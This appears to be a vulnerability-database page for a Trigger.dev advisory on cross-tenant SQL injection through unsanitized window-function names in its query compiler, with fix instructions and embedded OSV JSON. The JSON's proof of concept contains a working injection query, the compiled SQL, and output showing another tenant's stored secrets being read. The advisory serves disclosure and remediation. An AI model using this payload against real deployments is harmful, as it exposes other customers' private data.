GHSA-9q4r-4842-93vw: Trigger.dev SQL Injection Vulnerability
HIGHGHSA-9q4r-4842-93vw is a HIGH (CVSS 7.7) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Trigger.dev libraries in the npm ecosystem. The issue involves cross-tenant sql injection in the tsql query compiler (post /api/v1/query) via unsanitized window-function name. Remediation is available by upgrading affected packages to version 4.5.6.
GHSA-9q4r-4842-93vw at a Glance
Security Impact
CVSS: 7.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
How to Fix GHSA-9q4r-4842-93vw
To remediate this vulnerability, upgrade all affected Trigger.dev dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install trigger.dev@4.5.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls trigger.dev
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-9q4r-4842-93vw, inspect your project dependencies using npm:
npm ls trigger.dev
Analyze the terminal output to locate any version of Trigger.dev in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.5.6), your application is affected.
Note: The npm ls trigger.dev command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Trigger.dev, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-9q4r-4842-93vw Affected Trigger.dev Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
trigger.dev
|
npm |
< 4.5.6
|
4.5.6
|
References
Frequently Asked Questions
What is GHSA-9q4r-4842-93vw?
Which Trigger.dev versions are affected?
What version fixes GHSA-9q4r-4842-93vw?
Is trigger.dev affected?
What is the CVSS score of GHSA-9q4r-4842-93vw?
What CWE is associated with GHSA-9q4r-4842-93vw?
How can I check npm dependencies for GHSA-9q4r-4842-93vw?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9q4r-4842-93vw",
"modified" : "2026-10-02T22:42:20Z",
"published" : "2026-10-02T22:42:20Z",
"aliases" : [ ],
"summary" : "Trigger.dev: Cross-tenant SQL injection in the TSQL query compiler (POST /api/v1/query) via unsanitized window-function name",
"details" : "### Summary\n\nA cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.\n\n### Details\n\n**Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`:\n\n```ts\nprivate visitWindowFunction(node: WindowFunction): string {\n const args = node.args ? node.args.map((a) => this.visit(a)) : [];\n const funcCall = `${node.name}(${args.join(\", \")})`; // <-- node.name concatenated RAW\n ...\n}\n```\n\n`node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:\n\n- The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**.\n- String constants are bound as ClickHouse `query_params` (parameterized).\n- Other identifiers go through `escapeClickHouseIdentifier`.\n- Table functions (`url()/file()/remote()/s3()`) are rejected.\n\nA **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the \"function name\" and are printed verbatim.\n\n**How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants.\n\n**Reachability** — `apps/webapp/app/routes/api.v1.query.ts`:\n- `body.query` is a raw `z.string()`.\n- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**.\n- The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check.\n- `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it.\n\n### PoC\n\nReproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.\n\n**1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`):\n\n```sql\nSELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs\n```\n\n**2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):**\n\n```sql\nSELECT count() OVER (),\n (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2\n WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED\n dummy(() OVER () AS x\nFROM trigger_dev.task_runs_v2 AS task_runs\nWHERE and(equals(task_runs.organization_id, {tsql_val_0: String}),\n equals(task_runs.project_id, {tsql_val_1: String}),\n equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table\nLIMIT 10000\n```\n\nThe injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard.\n\n**3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`:\n\n```\nSeed:\n org_tenant1 -> payload 'tenant1-public-data' (attacker's own org)\n org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF',\n 'VICTIM-SECRET-db_password_hunter2' (victim)\n\nBaseline (legitimate tenant1 query, guard = org_tenant1):\n -> 'tenant1-public-data' (only own data)\n\nExploit (injected subquery, guard STILL org_tenant1):\n SELECT 1 AS keep,\n (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen,\n count() OVER () AS w\n FROM trigger_dev.task_runs_v2 AS task_runs\n WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...)\n -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2']\n```\n\nA caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.\n\n**Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "trigger.dev"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.5.6"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.5.5"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-9q4r-4842-93vw"
}, {
"type" : "WEB",
"url" : "https://github.com/triggerdotdev/trigger.dev/pull/4316"
}, {
"type" : "WEB",
"url" : "https://github.com/triggerdotdev/trigger.dev/commit/6997aeb05e27d2db47f9eda01fdc8a17c81a1ae0"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/triggerdotdev/trigger.dev"
}, {
"type" : "WEB",
"url" : "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.6"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639", "CWE-89" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-10-02T22:42:20Z",
"nvd_published_at" : null
}
}